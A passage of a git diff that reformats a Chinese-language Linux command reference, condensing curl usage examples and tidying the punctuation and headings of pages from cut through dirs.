--silent Silent mode. Don't output anything + --socks4 HOST[:PORT] SOCKS4 proxy on given host + port + --socks4a HOST[:PORT] SOCKS4a proxy on given host + port + --socks5 HOST[:PORT] SOCKS5 proxy on given host + port + --socks5-basic Enable username/password auth for SOCKS5 proxies + --socks5-gssapi Enable GSS-API auth for SOCKS5 proxies + --socks5-hostname HOST[:PORT] SOCKS5 proxy, pass host name to proxy + --socks5-gssapi-service NAME SOCKS5 proxy service name for gssapi + --socks5-gssapi-nec Compatibility with NEC SOCKS5 server +-Y, --speed-limit RATE Stop transfers below speed-limit for 'speed-time' secs +-y, --speed-time SECONDS Time for trig speed-limit abort. Defaults to 30 + --ssl Try SSL/TLS (FTP, IMAP, POP3, SMTP) + --ssl-reqd Require SSL/TLS (FTP, IMAP, POP3, SMTP) +-2, --sslv2 Use SSLv2 (SSL) +-3, --sslv3 Use SSLv3 (SSL) + --ssl-allow-beast Allow security flaw to improve interop (SSL) + --stderr FILE Where to redirect stderr. - means stdout + --tcp-nodelay Use the TCP_NODELAY option +-t, --telnet-option OPT=VAL Set telnet option + --tftp-blksize VALUE Set TFTP BLKSIZE option (must be >512) +-z, --time-cond TIME Transfer based on a time condition +-1, --tlsv1 Use => TLSv1 (SSL) + --tlsv1.0 Use TLSv1.0 (SSL) + --tlsv1.1 Use TLSv1.1 (SSL) + --tlsv1.2 Use TLSv1.2 (SSL) + --trace FILE Write a debug trace to the given file + --trace-ascii FILE Like --trace but without the hex output + --trace-time Add time stamps to trace/verbose output + --tr-encoding Request compressed transfer encoding (H) +-T, --upload-file FILE Transfer FILE to destination + --url URL URL to work with +-B, --use-ascii Use ASCII/text transfer +-u, --user USER[:PASSWORD] Server user and password + --tlsuser USER TLS username + --tlspassword STRING TLS password + --tlsauthtype STRING TLS authentication type (default SRP) + --unix-socket FILE Connect through this UNIX domain socket +-A, --user-agent STRING User-Agent to send to server (H) +-v, --verbose Make the operation more talkative +-V, --version Show version number and quit +-w, --write-out FORMAT What to output after completion + --xattr Store metadata in extended file attributes +-q If used as the first parameter disables .curlrc + ``` ## 实例 ```bash - **文件下载** - -curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作。如果系统没有curl可以使用`yum install curl`安装,也可以下载安装。curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用`--silent`选项。 - -curl URL --silent -``` - -这条命令是将下载文件输出到终端,所有下载的数据都被写入到stdout。 - -使用选项`-O`将下载的数据写入到文件,必须使用文件的绝对地址: - -``` -curl http://man.linuxde.net/text.iso --silent -O -``` - -选项`-o`将下载数据写入到指定名称的文件中,并使用`--progress`显示进度条: - -``` -curl http://man.linuxde.net/test.iso -o filename.iso --progress -######################################### 100.0% -``` - - **断点续传** - -curl能够从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件: - -``` -curl URL/File -C 偏移量 - -#偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -: -curl -C -URL -``` - - **使用curl设置参照页字符串** - -参照页是位于HTTP头部中的一个字符串,用来表示用户是从哪个页面到达当前页面的,如果用户点击网页A中的某个连接,那么用户就会跳转到B网页,网页B头部的参照页字符串就包含网页A的URL。 - -使用`--referer`选项指定参照页字符串: - -``` +curl -I http://man.linuxde.net # 通过-I或者--head可以只打印出HTTP头部信息 +curl -H "Host:man.linuxde.net" -H "accept-language:zh-cn" URL # 使用-H "头部信息" 传递多个头部信息 +curl URL --silent # curl默认输出到stdout,将进度信息输出到stderr,不显示进度信息使用--silent选项 +curl http://man.linuxde.net/text.iso --silent -O # 所有下载的数据都被写入到stdout,将下载的数据写入到文件,必须使用绝对路径 +curl http://man.linuxde.net/test.iso -o filename.iso --progress # 选项-o将下载数据写入到指定文件中,--progress显示进度 +curl URL/File -C 偏移量 # curl能从特定的文件偏移处继续下载,它可以通过指定一个偏移量来下载部分文件,偏移量是以字节为单位的整数 +curl http://man.linuxde.net --cookie "user=root;pass=123456" # 指定cookie,多个cookie使用分号分隔 +curl URL --cookie-jar cookie_file # 将cookie另存为一个文件,使用--cookie-jar选项 +curl URL --user-agent "Mozilla/5.0" # 使用user-agent访问或下载 +curl URL --limit-rate 50k # --limit-rate限制curl的下载速度:k,m,g或K,M,G +curl URL --max-filesize bytes # 使用--max-filesize指定可下载的最大文件大小 +curl -u user:pwd http://man.linuxde.net # 使用curl选项-u可以完成HTTP或者FTP的认证,也可以不指定密码在后续操作中输入密码 + +: << comment +参照页是位于HTTP头部中的一个字符串,用来表示用户是从哪个页面到达当前页面的,如果用户点击网页A中的某个连接,那么用户就会跳转到B网页 +网页B头部的参照页字符串就包含网页A的URL,使用--referer选项指定参照页字符串: +comment curl --referer http://www.google.com http://man.linuxde.net -``` - - **用curl设置cookies** - -使用`--cookie "COKKIES"`选项来指定cookie,多个cookie使用分号分隔: - -``` -curl http://man.linuxde.net --cookie "user=root;pass=123456" -``` - -将cookie另存为一个文件,使用`--cookie-jar`选项: - -``` -curl URL --cookie-jar cookie_file -``` - - **用curl设置用户代理字符串** - -有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用`--user-agent`或者`-A`选项: - -``` -curl URL --user-agent "Mozilla/5.0" -curl URL -A "Mozilla/5.0" -``` - -其他HTTP头部信息也可以使用curl来发送,使用`-H`"头部信息" 传递多个头部信息,例如: - -``` -curl -H "Host:man.linuxde.net" -H "accept-language:zh-cn" URL -``` - - **curl的带宽控制和下载配额** - -使用`--limit-rate`限制curl的下载速度: - -``` -curl URL --limit-rate 50k -``` - -命令中用k(千字节)和m(兆字节)指定下载速度限制。 - -使用`--max-filesize`指定可下载的最大文件大小: - -``` -curl URL --max-filesize bytes -``` - -如果文件大小超出限制,命令则返回一个非0退出码,如果命令正常则返回0。 - - **用curl进行认证** - -使用curl选项 -u 可以完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码: ``` -curl -u user:pwd http://man.linuxde.net -curl -u user http://man.linuxde.net -``` - - **只打印响应头部信息** - -通过`-I`或者`-head`可以只打印出HTTP头部信息: - -``` -[root@localhost text]# curl -I http://man.linuxde.net -HTTP/1.1 200 OK -Server: nginx/1.2.5 -date: Mon, 10 Dec 2012 09:24:34 GMT -Content-Type: text/html; charset=UTF-8 -Connection: keep-alive -Vary: Accept-Encoding -X-Pingback: http://man.linuxde.net/xmlrpc.php -``` - - diff --git a/Linux_man_cn/cut.md b/Linux_man_cn/cut.md index c44326a..79fab6b 100644 --- a/Linux_man_cn/cut.md +++ b/Linux_man_cn/cut.md @@ -25,7 +25,7 @@ Mandatory arguments to long options are mandatory for short options too. --output-delimiter=字符串 使用指定的字符串作为输出分界符,默认采用输入的分界符 仅使用f -b, -c 或-f 中的一个。每一个列表都是专门为一个类别作出的,或者您可以用逗号隔 -开要同时显示的不同类别。您的输入顺序将作为读取顺序,每个仅能输入一次。 +开要同时显示的不同类别。您的输入顺序将作为读取顺序,每个仅能输入一次 每种参数格式表示范围如下: N 从第1 个开始数的第N 个字节、字符或域 N- 从第N 个开始到所在行结束的所有字符、字节或域 diff --git a/Linux_man_cn/date.md b/Linux_man_cn/date.md index da2a720..bdb047a 100644 --- a/Linux_man_cn/date.md +++ b/Linux_man_cn/date.md @@ -81,9 +81,9 @@ _ 下划线,用空格填充 ^ 如果可能的话,使用大写字母 # 尽可能使用相反的情况 -在任何标记之后还允许一个可选的域宽度指定,它是一个十进制数字。 +在任何标记之后还允许一个可选的域宽度指定,它是一个十进制数字 作为一个可选的修饰声明,它可以是E,在可能的情况下使用本地环境关联的 -表示方式;或者是O,在可能的情况下使用本地环境关联的数字符号。 +表示方式;或者是O,在可能的情况下使用本地环境关联的数字符号 例如: 将数字从纪元(1970-01-01)UTC开始转换为日期 date --date='@2147483647' diff --git a/Linux_man_cn/dd.md b/Linux_man_cn/dd.md index a468baf..54af020 100644 --- a/Linux_man_cn/dd.md +++ b/Linux_man_cn/dd.md @@ -27,7 +27,7 @@ of=FILE 从文件写入而不是从标准输出 oflag=FLAGS 按逗号分隔的参数列表写入 seek=N 在输出开始时跳过N个obs-sized的块 skip=N 在输入开始时跳过N个ibs-sized的块 -status=LEVEL 要打印到stderr的信息的级别; 'none'除了错误消息之外禁止其他所有输出,'noxfer'禁止最终传输统计信息, +status=LEVEL 要打印到stderr的信息的级别; 'none'除了错误消息之外禁止其他所有输出,'noxfer'禁止最终传输统计信息 'progress'显示定期传输统计信息 N和BYTES之后可以跟随以下乘法后缀: @@ -88,10 +88,10 @@ dd if=/dev/zero of=sun.txt bs=1M count=1 # 可以看出dd命令来测试内 该命令创建了一个1M大小的文件sun.txt,其中参数解释: -* **if** 代表输入文件。如果不指定if,默认就会从stdin中读取输入。 -* **of** 代表输出文件。如果不指定of,默认就会将stdout作为默认输出。 -* **bs** 代表字节为单位的块大小。 -* **count** 代表被复制的块数。 +* **if** 代表输入文件。如果不指定if,默认就会从stdin中读取输入 +* **of** 代表输出文件。如果不指定of,默认就会将stdout作为默认输出 +* **bs** 代表字节为单位的块大小 +* **count** 代表被复制的块数 * **/dev/zero** 是一个字符设备,会不断返回0值字节(\0) 块大小可以使用的计量单位表 diff --git a/Linux_man_cn/declare.md b/Linux_man_cn/declare.md index db9a0b2..7f39cbb 100644 --- a/Linux_man_cn/declare.md +++ b/Linux_man_cn/declare.md @@ -2,17 +2,18 @@ ## 说明 -**declare命令** 用于声明和显示已存在的shell变量。当不提供变量名参数时显示所有shell变量。declare命令若不带任何参数选项,则会显示所有shell变量及其值。declare的功能与typeset命令的功能是相同的。 +**declare命令** 用于声明和显示已存在的shell变量。当不提供变量名参数时显示所有shell变量。declare命令若不带任何参数选项,则会显示所有 +shell变量及其值。declare的功能与typeset命令的功能是相同的 ## 选项 ```markdown -+/-:"-"可用来指定变量的属性,"+"则是取消变量所设的属性; --f:仅显示函数; -r:将变量设置为只读; -x:指定的变量会成为环境变量,可供shell以外的程序来使用; -i:[设置值]可以是数值,字符串或运算式。 -shell变量:声明shell变量,格式为“变量名=值”。 ++/-:"-"可用来指定变量的属性,"+"则是取消变量所设的属性 +-f:仅显示函数 +r:将变量设置为只读 +x:指定的变量会成为环境变量,可供shell以外的程序来使用 +i:[设置值]可以是数值,字符串或运算式 +shell变量:声明shell变量,格式为“变量名=值” ``` ## 实例 diff --git a/Linux_man_cn/depmod.md b/Linux_man_cn/depmod.md index 9f0144a..ec5bb1d 100644 --- a/Linux_man_cn/depmod.md +++ b/Linux_man_cn/depmod.md @@ -5,9 +5,9 @@ depmod ## 说明 -**depmod命令** 可产生模块依赖的映射文件,在构建嵌入式系统时,需要由这个命令来生成相应的文件,由modprobe使用。 +**depmod命令** 可产生模块依赖的映射文件,在构建嵌入式系统时,需要由这个命令来生成相应的文件,由modprobe使用 -### 语法 +## 选项 ``` depmod(选项) @@ -16,26 +16,26 @@ depmod(选项) ``` --a或--all:分析所有可用的模块; --d或debug:执行排错模式; --e:输出无法参照的符号; --i:不检查符号表的版本; --m<文件>或system-map<文件>:使用指定的符号表文件; --s或--system-log:在系统记录中记录错误; --v或--verbose:执行时显示详细的信息; --V或--version:显示版本信息; ---help:显示帮助。 +-a或--all:分析所有可用的模块 +-d或debug:执行排错模式 +-e:输出无法参照的符号 +-i:不检查符号表的版本 +-m<文件>或system-map<文件>:使用指定的符号表文件 +-s或--system-log:在系统记录中记录错误 +-v或--verbose:执行时显示详细的信息 +-V或--version:显示版本信息 +--help:显示帮助 ``` -### 实例 +## 实例 ``` depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a ``` -* `/home/windsome/EMMA3PF-KernelSource-20080626/install_pos`是我`make mod_install`后,所有模块的存放路径。 -* `./boot/System.map`是`make linux`后生成,我拷贝到此目录的。 -* `2.6.18_pro500-bcm91250-mips2_fp_be`是我build的linux的版本。 +* `/home/windsome/EMMA3PF-KernelSource-20080626/install_pos`是我`make mod_install`后,所有模块的存放路径 +* `./boot/System.map`是`make linux`后生成,我拷贝到此目录的 +* `2.6.18_pro500-bcm91250-mips2_fp_be`是我build的linux的版本 编译linux过程及执行depmod的例子: @@ -56,8 +56,8 @@ depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/ 其他用法: -在linux桌面系统中,当你编译了新的驱动,为了能够用`modprobe ***`加载模块, 你需要先将模块拷贝到`/lib/modules /2.6.31-20-generic`目录下,然后运行`sudo depmod -a`将模块信息写入modules.dep、modules.dep.bin、modules.alias.bin、modules.alias和modules.pcimap文件中。 +在linux桌面系统中,当你编译了新的驱动,为了能够用`modprobe ***`加载模块, 你需要先将模块拷贝到`/lib/modules /2.6.31-20-generic`目录下,然后运行`sudo depmod -a`将模块信息写入modules.dep、modules.dep.bin、modules.alias.bin、modules.alias和modules.pcimap文件中 -如,我编译了一个新的wifi驱动r8192se_pci.ko,将其拷贝到`/lib/modules/2.6.31-20-generic/wireless`下,然后到`/lib/modules/2.6.31-20-generic`运行`depmod -a`,之后可以在任意目录运行modprobe r8192se_pci。 +如,我编译了一个新的wifi驱动r8192se_pci.ko,将其拷贝到`/lib/modules/2.6.31-20-generic/wireless`下,然后到`/lib/modules/2.6.31-20-generic`运行`depmod -a`,之后可以在任意目录运行modprobe r8192se_pci diff --git a/Linux_man_cn/dhclient.md b/Linux_man_cn/dhclient.md index ee2292d..c2c1425 100644 --- a/Linux_man_cn/dhclient.md +++ b/Linux_man_cn/dhclient.md @@ -5,9 +5,9 @@ dhclient ## 说明 -**dhclient命令** 使用动态主机配置协议动态的配置网络接口的网络参数。 +**dhclient命令** 使用动态主机配置协议动态的配置网络接口的网络参数 -### 语法 +## 选项 ``` dhclient(选项)(参数) @@ -16,17 +16,17 @@ dhclient(选项)(参数) ``` -0:指定dhcp客户端监听的端口号; --d:总是以前台方式运行程序; --q:安静模式,不打印任何错误的提示信息; --r:释放ip地址。 +0:指定dhcp客户端监听的端口号 +-d:总是以前台方式运行程序 +-q:安静模式,不打印任何错误的提示信息 +-r:释放ip地址 ``` ### 参数 -网络接口:操作的网络接口。 +网络接口:操作的网络接口 -### 实例 +## 实例 ``` dhclient -r #释放IP diff --git a/Linux_man_cn/dhcpd.md b/Linux_man_cn/dhcpd.md index d14c2ea..58a8ae7 100644 --- a/Linux_man_cn/dhcpd.md +++ b/Linux_man_cn/dhcpd.md @@ -1,9 +1,9 @@ dhcpd === -运行DHCP服务器。 +运行DHCP服务器 -### 语法 +## 选项 ``` dhcpd [选项] [网络接口] @@ -29,7 +29,7 @@ dhcpd [选项] [网络接口] ### 例子 -对DHCP服务器进行排错。 +对DHCP服务器进行排错 ```bash [root@localhost ~]# dhcpd diff --git a/Linux_man_cn/dhcrelay.md b/Linux_man_cn/dhcrelay.md index bfd32a2..9bada80 100644 --- a/Linux_man_cn/dhcrelay.md +++ b/Linux_man_cn/dhcrelay.md @@ -5,9 +5,9 @@ dhcrelay ## 说明 -**dhcrelay命令** 使用dhcrelay命令可以提供中继DHCP和BOOTP请求,从一个没有DHCP服务器的子网直接连接到其它子网内的一个或多个DHCP服务器。该命令在DHCP中继服务器上使用,同时支持DHCPv4/BOOTP和DHCPv6协议。 +**dhcrelay命令** 使用dhcrelay命令可以提供中继DHCP和BOOTP请求,从一个没有DHCP服务器的子网直接连接到其它子网内的一个或多个DHCP服务器。该命令在DHCP中继服务器上使用,同时支持DHCPv4/BOOTP和DHCPv6协议 -### 语法 +## 选项 ``` dhcrelay [选项] [DHCP服务器] @@ -27,7 +27,7 @@ dhcrelay [选项] [DHCP服务器] ### 例子 -指定DHCP服务器的位置。 +指定DHCP服务器的位置 ```bash [root@localhost ~]# dhcrelay 192.168.0.2 diff --git a/Linux_man_cn/diff.md b/Linux_man_cn/diff.md index d48526a..3797559 100644 --- a/Linux_man_cn/diff.md +++ b/Linux_man_cn/diff.md @@ -10,40 +10,40 @@ diff命令是以逐行的方式,比较文本文件的异同处。如果该命 ```markdown --<行数>:指定要显示多少行的文本。此参数必须与-c或-u参数一并使用; --a或——text:diff预设只会逐行比较文本文件; --b或--ignore-space-change:不检查空格字符的不同; --B或--ignore-blank-lines:不检查空白行; --c:显示全部内容,并标出不同之处; --C<行数>或--context<行数>:与执行“-c-<行数>”指令相同; --d或——minimal:使用不同的演算法,以小的单位来做比较; --D<巨集名称>或ifdef<巨集名称>:此参数的输出格式可用于前置处理器巨集; --e或——ed:此参数的输出格式可用于ed的script文件; --f或-forward-ed:输出的格式类似ed的script文件,但按照原来文件的顺序来显示不同处; --H或--speed-large-files:比较大文件时,可加快速度; --l<字符或字符串>或--ignore-matching-lines<字符或字符串>:若两个文件在某几行有所不同,而之际航同时都包含了选项中指定的字符或字符串,则不显示这两个文件的差异; --i或--ignore-case:不检查大小写的不同; --l或——paginate:将结果交由pr程序来分页; --n或——rcs:将比较结果以RCS的格式来显示; --N或--new-file:在比较目录时,若文件A仅出现在某个目录中,预设会显示:Only in目录,文件A 若使用-N参数,则diff会将文件A 与一个空白的文件比较; --p:若比较的文件为C语言的程序码文件时,显示差异所在的函数名称; --P或--unidirectional-new-file:与-N类似,但只有当第二个目录包含了第一个目录所没有的文件时,才会将这个文件与空白的文件做比较; --q或--brief:仅显示有无差异,不显示详细的信息; --r或——recursive:比较子目录中的文件; --s或--report-identical-files:若没有发现任何差异,仍然显示信息; --S<文件>或--starting-file<文件>:在比较目录时,从指定的文件开始比较; --t或--expand-tabs:在输出时,将tab字符展开; --T或--initial-tab:在每行前面加上tab字符以便对齐; --u,-U<列数>或--unified=<列数>:以合并的方式来显示文件内容的不同; --v或——version:显示版本信息; --w或--ignore-all-space:忽略全部的空格字符; --W<宽度>或--width<宽度>:在使用-y参数时,指定栏宽; --x<文件名或目录>或--exclude<文件名或目录>:不比较选项中所指定的文件或目录; --X<文件>或--exclude-from<文件>;您可以将文件或目录类型存成文本文件,然后在=<文件>中指定此文本文件; --y或--side-by-side:以并列的方式显示文件的异同之处; ---help:显示帮助; ---left-column:在使用-y参数时,若两个文件某一行内容相同,则仅在左侧的栏位显示该行内容; ---suppress-common-lines:在使用-y参数时,仅显示不同之处。 +-<行数>:指定要显示多少行的文本。此参数必须与-c或-u参数一并使用 +-a或——text:diff预设只会逐行比较文本文件 +-b或--ignore-space-change:不检查空格字符的不同 +-B或--ignore-blank-lines:不检查空白行 +-c:显示全部内容,并标出不同之处 +-C<行数>或--context<行数>:与执行“-c-<行数>”指令相同 +-d或——minimal:使用不同的演算法,以小的单位来做比较 +-D<巨集名称>或ifdef<巨集名称>:此参数的输出格式可用于前置处理器巨集 +-e或——ed:此参数的输出格式可用于ed的script文件 +-f或-forward-ed:输出的格式类似ed的script文件,但按照原来文件的顺序来显示不同处 +-H或--speed-large-files:比较大文件时,可加快速度 +-l<字符或字符串>或--ignore-matching-lines<字符或字符串>:若两个文件在某几行有所不同,而之际航同时都包含了选项中指定的字符或字符串,则不显示这两个文件的差异 +-i或--ignore-case:不检查大小写的不同 +-l或——paginate:将结果交由pr程序来分页 +-n或——rcs:将比较结果以RCS的格式来显示 +-N或--new-file:在比较目录时,若文件A仅出现在某个目录中,预设会显示:Only in目录,文件A 若使用-N参数,则diff会将文件A 与一个空白的文件比较 +-p:若比较的文件为C语言的程序码文件时,显示差异所在的函数名称 +-P或--unidirectional-new-file:与-N类似,但只有当第二个目录包含了第一个目录所没有的文件时,才会将这个文件与空白的文件做比较 +-q或--brief:仅显示有无差异,不显示详细的信息 +-r或——recursive:比较子目录中的文件 +-s或--report-identical-files:若没有发现任何差异,仍然显示信息 +-S<文件>或--starting-file<文件>:在比较目录时,从指定的文件开始比较 +-t或--expand-tabs:在输出时,将tab字符展开 +-T或--initial-tab:在每行前面加上tab字符以便对齐 +-u,-U<列数>或--unified=<列数>:以合并的方式来显示文件内容的不同 +-v或——version:显示版本信息 +-w或--ignore-all-space:忽略全部的空格字符 +-W<宽度>或--width<宽度>:在使用-y参数时,指定栏宽 +-x<文件名或目录>或--exclude<文件名或目录>:不比较选项中所指定的文件或目录 +-X<文件>或--exclude-from<文件>;您可以将文件或目录类型存成文本文件,然后在=<文件>中指定此文本文件 +-y或--side-by-side:以并列的方式显示文件的异同之处 +--help:显示帮助 +--left-column:在使用-y参数时,若两个文件某一行内容相同,则仅在左侧的栏位显示该行内容 +--suppress-common-lines:在使用-y参数时,仅显示不同之处 用法:diff [选项]... FILES Compare FILES line by line. @@ -136,7 +136,7 @@ Mandatory arguments to long options are mandatory for short options too. FILES are 'FILE1 FILE2' or 'DIR1 DIR2' or 'DIR FILE...' or 'FILE... DIR'. If --from-file or --to-file is given, there are no restrictions on FILE(s). If a FILE is '-', read standard input. -如果输入相同,则退出状态为 0;1 表示输入不同;2 表示有错误产生。 +如果输入相同,则退出状态为 0;1 表示输入不同;2 表示有错误产生 ``` diff --git a/Linux_man_cn/diff3.md b/Linux_man_cn/diff3.md index 0c69987..bd5afe0 100644 --- a/Linux_man_cn/diff3.md +++ b/Linux_man_cn/diff3.md @@ -5,9 +5,9 @@ diff3 ## 说明 -**diff3命令** 用于比较3个文件,将3个文件的不同的地方显示到标准输出。 +**diff3命令** 用于比较3个文件,将3个文件的不同的地方显示到标准输出 -### 语法 +## 选项 ``` diff3(选项)(参数) @@ -16,19 +16,19 @@ diff3(选项)(参数) ``` --a:把所有的文件都当做文本文件按照行为单位进行比较,即给定的文件不是文本文件; --A:合并第2个文件和第3个文件之间的不同到第1个文件中,有冲突内容用括号括起来; --B:与选项“-A”功能相同,但是不显示冲突的内容; --e/--ed:生成一个“-ed”脚本,用于将第2个文件和第3个文件之间的不同合并到第1个文件中; ---easy-only:除了不显示互相重叠的变化,与选项“-e”的功能相同; --i:为了和system V系统兼容,在“ed”脚本的最后生成“w”和“q”命令。此选项必须和选项“-AeExX3”连用,但是不能和“-m”连用; ---initial-tab:在正常格式的行的文本前,输出一个TAB字符而非两个空白字符。此选项将导致在行中TAB字符的对齐方式看上去规范。 +-a:把所有的文件都当做文本文件按照行为单位进行比较,即给定的文件不是文本文件 +-A:合并第2个文件和第3个文件之间的不同到第1个文件中,有冲突内容用括号括起来 +-B:与选项“-A”功能相同,但是不显示冲突的内容 +-e/--ed:生成一个“-ed”脚本,用于将第2个文件和第3个文件之间的不同合并到第1个文件中 +--easy-only:除了不显示互相重叠的变化,与选项“-e”的功能相同 +-i:为了和system V系统兼容,在“ed”脚本的最后生成“w”和“q”命令。此选项必须和选项“-AeExX3”连用,但是不能和“-m”连用 +--initial-tab:在正常格式的行的文本前,输出一个TAB字符而非两个空白字符。此选项将导致在行中TAB字符的对齐方式看上去规范 ``` ### 参数 -* 文件1:指定要比较的第1个文件; -* 文件2:指定要比较的第2个文件; -* 文件3:指定要比较的第3个文件。 +* 文件1:指定要比较的第1个文件 +* 文件2:指定要比较的第2个文件 +* 文件3:指定要比较的第3个文件 diff --git a/Linux_man_cn/diffstat.md b/Linux_man_cn/diffstat.md index 48d5499..1c5428b 100644 --- a/Linux_man_cn/diffstat.md +++ b/Linux_man_cn/diffstat.md @@ -5,9 +5,9 @@ diffstat ## 说明 -**diffstat命令** 用来显示diff命令输出信息的柱状图,用以显示diff命令比较两个文件的不同统计信息。用户也可以直接使用`|`将diff命令所输出的结果直接送给diffstat命令进行统计结果的显示。使用该命令时,若所比较的文件或者子目录不在当前目录下,则应该使用其完整路径。 +**diffstat命令** 用来显示diff命令输出信息的柱状图,用以显示diff命令比较两个文件的不同统计信息。用户也可以直接使用`|`将diff命令所输出的结果直接送给diffstat命令进行统计结果的显示。使用该命令时,若所比较的文件或者子目录不在当前目录下,则应该使用其完整路径 -### 语法 +## 选项 ``` diffstat(选项)(参数) @@ -16,17 +16,17 @@ diffstat(选项)(参数) ``` --n<文件名长度>:指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名; --p<文件名长度>:与-n参数相同,但此处的<文件名长度>包括了文件的路径; --w:指定要输出时栏位的宽度; --v:显示版本信息。 +-n<文件名长度>:指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名 +-p<文件名长度>:与-n参数相同,但此处的<文件名长度>包括了文件的路径 +-w:指定要输出时栏位的宽度 +-v:显示版本信息 ``` ### 参数 -文件:指定保存有diff命令的输出信息文件。 +文件:指定保存有diff命令的输出信息文件 -### 实例 +## 实例 将目录"test1"和"test2"下的同名文件"testf.txt"使用diff命令进行比较。然后使用diffstat命令对结果进行统计显示,输入如下命令: @@ -34,7 +34,7 @@ diffstat(选项)(参数) diff test1 test2 | diffstat #进行比较结果的统计显示 ``` -注意:使用这条命令可以非常方便地实现统计显示的功能。 +注意:使用这条命令可以非常方便地实现统计显示的功能 对于查看文件中的内容,用户可以通过cat命令进行查看即可,具体操作如下: diff --git a/Linux_man_cn/dig.md b/Linux_man_cn/dig.md index 7c36d6b..cb50f0f 100644 --- a/Linux_man_cn/dig.md +++ b/Linux_man_cn/dig.md @@ -5,9 +5,9 @@ dig ## 说明 -**dig命令** 是常用的域名查询工具,可以用来测试域名系统工作是否正常。 +**dig命令** 是常用的域名查询工具,可以用来测试域名系统工作是否正常 -### 语法 +## 选项 ``` dig(选项)(参数) @@ -16,25 +16,25 @@ dig(选项)(参数) ``` -@<服务器地址>:指定进行域名解析的域名服务器; --b:当主机具有多个IP地址,指定使用本机的哪个IP地址向域名服务器发送域名查询请求; --f<文件名称>:指定dig以批处理的方式运行,指定的文件中保存着需要批处理查询的DNS任务信息; --P:指定域名服务器所使用端口号; --t<类型>:指定要查询的DNS数据类型; --x:执行逆向域名查询; --4:使用IPv4; --6:使用IPv6; --h:显示指令帮助信息。 +@<服务器地址>:指定进行域名解析的域名服务器 +-b:当主机具有多个IP地址,指定使用本机的哪个IP地址向域名服务器发送域名查询请求 +-f<文件名称>:指定dig以批处理的方式运行,指定的文件中保存着需要批处理查询的DNS任务信息 +-P:指定域名服务器所使用端口号 +-t<类型>:指定要查询的DNS数据类型 +-x:执行逆向域名查询 +-4:使用IPv4 +-6:使用IPv6 +-h:显示指令帮助信息 ``` ### 参数 -* 主机:指定要查询域名主机; -* 查询类型:指定DNS查询的类型; -* 查询类:指定查询DNS的class; -* 查询选项:指定查询选项。 +* 主机:指定要查询域名主机 +* 查询类型:指定DNS查询的类型 +* 查询类:指定查询DNS的class +* 查询选项:指定查询选项 -### 实例 +## 实例 ``` [root@localhost ~]# dig www.jsdig.com diff --git a/Linux_man_cn/dircolors.md b/Linux_man_cn/dircolors.md index 527c391..7f801ee 100644 --- a/Linux_man_cn/dircolors.md +++ b/Linux_man_cn/dircolors.md @@ -5,9 +5,9 @@ dircolors ## 说明 -**dircolors命令** 设置ls命令在显示目录或文件时所用的色彩。dircolors可根据[色彩配置文件]来设置LS_COLORS环境变量或是显示设置LS_COLORS环境变量的命令。 +**dircolors命令** 设置ls命令在显示目录或文件时所用的色彩。dircolors可根据[色彩配置文件]来设置LS_COLORS环境变量或是显示设置LS_COLORS环境变量的命令 -### 语法 +## 选项 ``` dircolors(选项)(参数) @@ -16,18 +16,18 @@ dircolors(选项)(参数) ``` --b或--sh或--bourne-shell:显示在Boume shell中,将LS_COLORS设为目前预设置的shell指令; --c或--csh或--c-shell:显示在C shell中,将LS_COLORS设为目前预设置的shell指令; --p或--print-database:显示预设置; --help:显示帮助; --version:显示版本信息。 +-b或--sh或--bourne-shell:显示在Boume shell中,将LS_COLORS设为目前预设置的shell指令 +-c或--csh或--c-shell:显示在C shell中,将LS_COLORS设为目前预设置的shell指令 +-p或--print-database:显示预设置 +-help:显示帮助 +-version:显示版本信息 ``` ### 参数 -文件:指定用来设置颜色的文件。 +文件:指定用来设置颜色的文件 -### 实例 +## 实例 ``` [root@localhost ~]# dircolors -p diff --git a/Linux_man_cn/dirname.md b/Linux_man_cn/dirname.md index e968b68..abdaa87 100644 --- a/Linux_man_cn/dirname.md +++ b/Linux_man_cn/dirname.md @@ -5,9 +5,9 @@ dirname ## 说明 -**dirname命令** 去除文件名中的非目录部分,仅显示与目录有关的内容。dirname命令读取指定路径名保留最后一个`/`及其后面的字符,删除其他部分,并写结果到标准输出。如果最后一个`/`后无字符,dirname 命令使用倒数第二个`/`,并忽略其后的所有字符。dirname 和 basename 通常在 shell 内部命令替换使用,以指定一个与指定输入文件名略有差异的输出文件名。 +**dirname命令** 去除文件名中的非目录部分,仅显示与目录有关的内容。dirname命令读取指定路径名保留最后一个`/`及其后面的字符,删除其他部分,并写结果到标准输出。如果最后一个`/`后无字符,dirname 命令使用倒数第二个`/`,并忽略其后的所有字符。dirname 和 basename 通常在 shell 内部命令替换使用,以指定一个与指定输入文件名略有差异的输出文件名 -### 语法 +## 选项 ``` dirname(选项)(参数) @@ -16,11 +16,11 @@ dirname(选项)(参数) ``` ---help:显示帮助; ---version:显示版本号。 +--help:显示帮助 +--version:显示版本号 ``` -### 实例 +## 实例 ``` dirname // diff --git a/Linux_man_cn/dirs.md b/Linux_man_cn/dirs.md index b62d5bd..91a64a7 100644 --- a/Linux_man_cn/dirs.md +++ b/Linux_man_cn/dirs.md @@ -5,9 +5,9 @@ dirs ## 说明 -**dirs命令** 显示当前目录栈中的所有记录(不带参数的dirs命令显示当前目录栈中的记录)。dirs始终显示当然目录, 再是堆栈中的内容;即使目录堆栈为空, dirs命令仍然只显示当然目录。 +**dirs命令** 显示当前目录栈中的所有记录(不带参数的dirs命令显示当前目录栈中的记录)。dirs始终显示当然目录, 再是堆栈中的内容;即使目录堆栈为空, dirs命令仍然只显示当然目录 -### 语法 +## 选项 ``` dirs(选项)(参数) @@ -27,9 +27,9 @@ dirs(选项)(参数) ### 参数 -目录:显示目录堆叠中的记录。 +目录:显示目录堆叠中的记录 -### 实例 +## 实例 ``` [root@localhost etc]# dirs diff --git 